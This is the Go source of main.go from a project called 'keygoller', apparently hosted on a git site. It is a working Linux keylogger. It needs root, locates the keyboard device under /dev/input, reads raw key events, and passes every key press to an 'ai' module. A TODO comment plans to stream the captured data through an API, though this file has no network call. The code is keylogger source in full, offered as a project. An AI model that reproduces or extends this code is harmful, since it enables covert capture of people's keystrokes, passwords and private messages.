keygoller/main.go

148 lines
2.5 KiB
Go

package main
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"io/ioutil"
"os"
"strings"
"syscall"
"git.postblue.info/keygoller/ai"
"git.postblue.info/keygoller/utils"
"github.com/sirupsen/logrus"
)
var ()
type InputStreamMap struct {
events map[string]InputStream
}
type InputStream struct {
event utils.InputEvent
}
// KeyLogger is a wrapper around a file descriptor.
type KeyLogger struct {
fd *os.File
}
func getKeyboard() string {
path := "/sys/class/input/event%d/device/name"
resolved := "/dev/input/event%d"
for i := 0; i < 255; i++ {
buff, err := ioutil.ReadFile(fmt.Sprintf(path, i))
if err != nil {
logrus.Error(err)
}
if strings.Contains(strings.ToLower(string(buff)), "keyboard") {
return fmt.Sprintf(resolved, i)
}
}
return ""
}
func (k *KeyLogger) IsRoot() bool {
return syscall.Getuid() == 0 && syscall.Geteuid() == 0
}
func New(path string) (*KeyLogger, error) {
k := &KeyLogger{}
if !k.IsRoot() {
return nil, errors.New("must be root")
}
fd, err := os.Open(path)
if err != nil {
return nil, err
}
k.fd = fd
return k, nil
}
func (k *KeyLogger) Read() chan utils.InputEvent {
event := make(chan utils.InputEvent)
go func(even chan utils.InputEvent) {
for {
stream, err := k.read()
if err != nil {
logrus.Error(err)
close(event)
break
}
if stream != nil {
event <- *stream
}
}
}(event)
return event
}
func (k *KeyLogger) read() (*utils.InputEvent, error) {
buffer := make([]byte, utils.Eventsize)
n, err := k.fd.Read(buffer)
if err != nil {
return nil, err
}
if n <= 0 {
return nil, nil
}
return k.eventFromBuffer(buffer)
}
func (k *KeyLogger) eventFromBuffer(buffer []byte) (*utils.InputEvent, error) {
event := &utils.InputEvent{}
err := binary.Read(bytes.NewBuffer(buffer), binary.LittleEndian, event)
return event, err
}
func (k *KeyLogger) Close() error {
if k.fd == nil {
return nil
}
return k.fd.Close()
}
func main() {
fmt.Println("Your keyboard input will be here: ", getKeyboard())
utils.ClippySays("i am here to help")
// TODO
// 3 stream the data through an api
StreamChannel := make(chan utils.InputEvent)
keyboard := getKeyboard()
klog, err := New(keyboard)
if err != nil {
logrus.Error(err)
os.Exit(1)
}
defer klog.Close()
events := klog.Read()
go ai.ReadFromStream(StreamChannel)
for e := range events {
switch e.Type {
case utils.EvKey:
if e.KeyPress() {
StreamChannel <- e
}
break
default:
continue
}
}
}